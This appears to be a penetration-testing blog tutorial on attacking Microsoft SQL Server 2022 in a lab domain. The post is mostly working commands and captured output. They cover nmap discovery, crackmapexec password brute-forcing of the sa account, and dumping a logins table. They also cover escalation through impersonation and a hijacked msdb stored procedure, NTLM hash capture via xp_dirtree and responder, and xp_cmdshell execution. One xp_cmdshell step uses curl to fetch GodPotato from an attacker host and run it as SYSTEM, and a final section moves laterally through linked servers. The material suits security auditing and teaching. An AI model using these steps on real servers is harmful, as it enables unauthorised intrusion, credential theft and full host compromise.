Attacking MSSQL

Microsoft SQL server is a popular Relational Database Management System (RDBMS). In this article we will be looking at some ways of attacking SQL Server 2022, including;

Identifying MSSQL Listeners
Brute Force Attacks
Data Extraction
SQL Roles
Database Privilege Escalation: Impersonation
Database Privilege Escalation: db_ddladmin Abuse
Database Privilege Escalation: xp_dirtree
Command Execution
Linked Server Exploitation


Identifying MSSQL Listeners

By default, MSSQL will not listen for network traffic. This can be enabled using the Sql Server Configuration Manager;

With this in place, NMap can be used to identify the server on a network;

┌──(kali㉿kali)-[~]
└─$ nmap -p 1433 -A 192.168.1.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-03 09:52 GMT
Nmap scan report for 192.168.1.198
Host is up (0.00041s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2024-02-03T09:52:42+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   192.168.1.198:1433: 
|     Target_Name: BORDERGATE
|     NetBIOS_Domain_Name: BORDERGATE
|     NetBIOS_Computer_Name: SERVER1
|     DNS_Domain_Name: bordergate.local
|     DNS_Computer_Name: SERVER1.bordergate.local
|     DNS_Tree_Name: bordergate.local
|_    Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-02-01T13:54:05
|_Not valid after:  2054-02-01T13:54:05
| ms-sql-info: 
|   192.168.1.198:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds


Brute Force Attacks

SQL Server supports two types of authentication, Windows Authentication, and SQL Server authentication. This can be configured using SQL Server Management Studio;

With SQL Server authentication, there is only one account by default, the SA (System Administrator) account which is disabled. It can be reactivated and a password set using the following SQL query;

GO
ALTER LOGIN [sa] WITH DEFAULT_DATABASE=[master]
GO
USE [master]
GO
ALTER LOGIN [sa] WITH PASSWORD=N'Password1' 
GO
ALTER LOGIN [sa] ENABLE
GO

SQL Server accounts can be bruteforced with crackmapexec by using the local-auth flag;

crackmapexec mssql 192.168.1.198 -u sa -p /usr/share/wordlists/fasttrack.txt --local-auth
MSSQL       192.168.1.198   1433   SERVER1          [*] Windows 10.0 Build 20348 (name:SERVER1) (domain:SERVER1)
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL       192.168.1.198   1433   SERVER1          [+] sa:Password1 (Pwn3d!)

Data Extraction

Databases may contain useful information to perform further attacks, such as credentials. As such, it’s worth examining the contents of the database.

SQL (link  dbo@website_db)> SELECT name from master.dbo.sysdatabases;
name         
----------   
master       
tempdb       
model        
msdb         
website_db   

SQL (link  dbo@website_db)> use website_db
[*] ENVCHANGE(DATABASE): Old Value: website_db, New Value: website_db
[*] INFO(SERVER1): Line 1: Changed database context to 'website_db'.

SQL (link  dbo@website_db)> select * from website_db.INFORMATION_SCHEMA.TABLES
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
website_db      dbo            logins       b'BASE TABLE'   

SQL (link  dbo@website_db)> SELECT * FROM logins
username     password     
----------   ----------   
link         Password1
zelda        Password1

SQL Roles

The following roles apply server wide. Roles are linked to logins.

RoleDescription
sysadminCan perform any action on the server
serveradminCan change system wide configuration options and shut down the server
securityadminCan manage logins and their properties
processadminCan end running processes
setupadminCan add and remove linked servers
bulkadminCan execute the BULK INSERT statement
diskadminCan manage disk files
dbcreatorCan create, alter or drop any database
publicEvery SQL login is a member of this role

By default, the SA account is a member of the sysadmin role. All other accounts will be members of the public role.

In addition to server roles, there are additional database specific roles. These allow granular access control to databases;

RoleDescription
db_ownerCan perform all configuration and maintenance tasks on a database
db_securityadminCan modify role membership for custom roles and manage permissions
db_accessadminCan add or remember access to the database
db_backupoperatorCan backup the database
db_ddladminCan run Data Definition Language commands
db_datawriterCan add, delete or change data
db_datareaderCan read all data from the user tables
db_denydatawriterMembers cannot write any data to the database
db_denydatareaderMembers cannot read any data in the database

Database Privilege Escalation: Impersonation

SQL server support impersonation, where one account can execute commands in the context of another. The following SQL statement allows Zelda to execute commands on behalf of the SA user;

USE master;
GRANT IMPERSONATE ON LOGIN::sa to [Zelda];
GO

Using impacket-mssql, we can connect to the database as Zelda, then impersonate the SA account;

impacket-mssqlclient zelda:'Password1'@192.168.1.198
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SERVER1): Line 1: Changed database context to 'master'.
[*] INFO(SERVER1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (zelda  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
b'LOGIN'     b''        IMPERSONATE       GRANT        zelda     sa        
SQL (zelda  guest@msdb)> EXECUTE AS LOGIN = 'sa'
SQL (sa  dbo@msdb)> 


Database Privilege Escalation: db_ddladmin Abuse

The sp_syspolicy_purge_history stored procedure can be altered by users with the db_ddladmin database role. If we have with role on the MSDB database, this can be used to escalate privileges.

First, create a login link:

USE [master]
GO
CREATE LOGIN [link] WITH PASSWORD=N'Password1', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO

Add login link to the db_ddladmin role:

USE [msdb]
GO
CREATE USER [link] FOR LOGIN [link]
GO
USE [msdb]
GO
ALTER ROLE [db_ddladmin] ADD MEMBER [link]
GO

When an adversary logs into the server using this account, we can see we are not a member of the sysadmin role;

impacket-mssqlclient link:'Password1'@192.168.1.198
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SERVER1): Line 1: Changed database context to 'master'.
[*] INFO(SERVER1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (link  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin')
    
-   
0   

The following SQL statements are issued to modify the stored procedure to add link as a member of the sysadmin group. Although this provides a warning, this will complete.

SQL (link  guest@master)> use [msdb]
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: msdb
[*] INFO(SERVER1): Line 1: Changed database context to 'msdb'.
SQL (link  link@msdb)> ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history] AS BEGIN ALTER SERVER ROLE [sysadmin] ADD MEMBER [link] END
[*] INFO(SERVER1): Line 1: Warning: 'is_ms_shipped' property is turned off for procedure 'dbo.sp_syspolicy_purge_history' because you do not have permission to create or alter an object with this property.

The stored procedure will execute once per day. After it’s executed, login link will become a sysadmin;

SQL (link  link@msdb)> SELECT IS_SRVROLEMEMBER('sysadmin')
    
-   
1   

Database Privilege Escalation: xp_dirtree

xp_dirtree is a stored procedure that allows you to query the filesystem. By pointing it at a UNC path running responder.py, we can capture the Net-NTLM hash of the service account.

SQL (link  dbo@website_db)> xp_dirtree \\192.168.1.210\shared
subdirectory   depth   file   
------------   -----   ----   

In this instance, the service is running as local system (which we won’t be able to crack) although an administrator may have set it to use another account.

└─$ sudo responder -I eth0
[+] Listening for events...                                                                                                   

[SMB] NTLMv2-SSP Client   : 192.168.1.198
[SMB] NTLMv2-SSP Username : BORDERGATE\SERVER1$
[SMB] NTLMv2-SSP Hash     : SERVER1$::BORDERGATE:a63be65aa0105d91:2F5DE1052A71467C26E5691589FFC785:01010000000000000071F73A9D56DA01311FF4C4CF78AF640000000002000800350033003500380001001E00570049004E002D00570034004800550046004A004400360044004400390004003400570049004E002D00570034004800550046004A00440036004400440039002E0035003300350038002E004C004F00430041004C000300140035003300350038002E004C004F00430041004C000500140035003300350038002E004C004F00430041004C00070008000071F73A9D56DA0106000400020000000800300030000000000000000000000000300000C0BD377DC29C30B035FD38D2EBCA8A6CF697400C410E4F51D3E274DA535C58FE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003200310030000000000000000000                    

Command Execution

To execute operating system commands on SQL server, we can use the xp_cmdshell stored procedure. We can enable this with impacket using the enable_xp_cmdshell command.

SQL (sa  dbo@msdb)> enable_xp_cmdshell
[*] INFO(SERVER1): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SERVER1): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@msdb)> xp_cmdshell whoami
output                   
----------------------   
nt service\mssqlserver   

NULL                     

SQL (sa  dbo@msdb)> xp_cmdshell hostname
output    
-------   
SERVER1   

NULL      

Host Privilege Escalation

The SQL service account by default has SeImpersonatePrivilege enabled.

SQL (link  dbo@msdb)> xp_cmdshell whoami /priv
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               

PRIVILEGES INFORMATION                                                             

----------------------                                                             

NULL                                                                               

Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

Because of this, we can use GodPotato to elevate our level of access to SYSTEM.

SQL (link  dbo@msdb)> xp_cmdshell curl 192.168.1.210/GodPotato-NET4.exe -o C:\Windows\Tasks\potato.exe
SQL (link  dbo@msdb)> xp_cmdshell C:\Windows\Tasks\potato.exe -cmd "cmd /c whoami"
output                                                                             
--------------------------------------------------------------------------------   
[*] CombaseModule: 0x140718087143424                                               
[*] DispatchTable: 0x140718089734008                                               
[*] UseProtseqFunction: 0x140718089026352                                          
[*] UseProtseqFunctionParamCount: 6                                                
[*] HookRPC                                                                        
[*] Start PipeServer                                                               
[*] CreateNamedPipe \\.\pipe\ea512fd6-c3d9-4b67-b12f-85352c095612\pipe\epmapper    
[*] Trigger RPCSS                                                                  
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046                            
[*] DCOM obj IPID: 0000ec02-1c50-ffff-a235-202bba9f25c2                            
[*] DCOM obj OXID: 0x4fc9e0a0f47c3ae3                                              
[*] DCOM obj OID: 0x2ad4796476995ecd                                               
[*] DCOM obj Flags: 0x281                                                          
[*] DCOM obj PublicRefs: 0x0                                                       
[*] Marshal Object bytes len: 100                                                  
[*] UnMarshal Object                                                               
[*] Pipe Connected!                                                                
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE                                      
[*] CurrentsImpersonationLevel: Impersonation                                      
[*] Start Search System Token                                                      
[*] PID : 948 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation   
[*] Find System Token : True                                                       
[*] UnmarshalObject: 0x80070776                                                    
[*] CurrentUser: NT AUTHORITY\SYSTEM                                               
[*] process start with pid 6952                                                    
nt authority\system                                                                
NULL                                                                               


Linked Server Exploitation

MSSQL supports a feature called Linked Servers. Essentially the MSSQL database is configured to connect to remote databases running on other systems. This allows you to execute a query against one host, but the data to be retrieved from multiple systems.

If linked servers are configured, and attacker may be able to exploit this feature to move laterally between different database systems.

To configure a linked server, in SQL Management Studio, select SERVER1 > Linked Servers > Right click and select new Linked Server.

On the general tab, set the data source to the target SQL server hostname.

In the security tab, set the user account used to login to the remote server.

Ensure RPC and RPC out is enabled in the server options.

impacket-mssql can be used to determine server links in place, and execute commands on the remote SQL server:

SQL (link  dbo@master)> enum_links
SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
SERVER1    SQLNCLI            SQL Server    SERVER1          NULL                 NULL           NULL      

SERVER2    SQLNCLI                          SERVER2          NULL                 NULL           NULL      

Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   
SERVER1         NULL                        1   NULL           

SERVER2         NULL                        0   sa             

SQL (link  dbo@master)> use_link SERVER2
SQL >SERVER2 (sa  dbo@master)> xp_cmdshell hostname
output    
-------   
SERVER2   

NULL      

This can also be done manually using the following SQL commands:

EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT SERVER2
EXEC ('exec master..xp_cmdshell ''hostname''') AT SERVER2

In Conclusion

This article covers the basics of assessing the security of an MSSQL server using impacket-mssql. There are a number of other useful tools which can also be used to perform MSSQL security audits, including;

  • https://github.com/NetSPI/PowerUpSQL
  • https://github.com/quentinhardy/msdat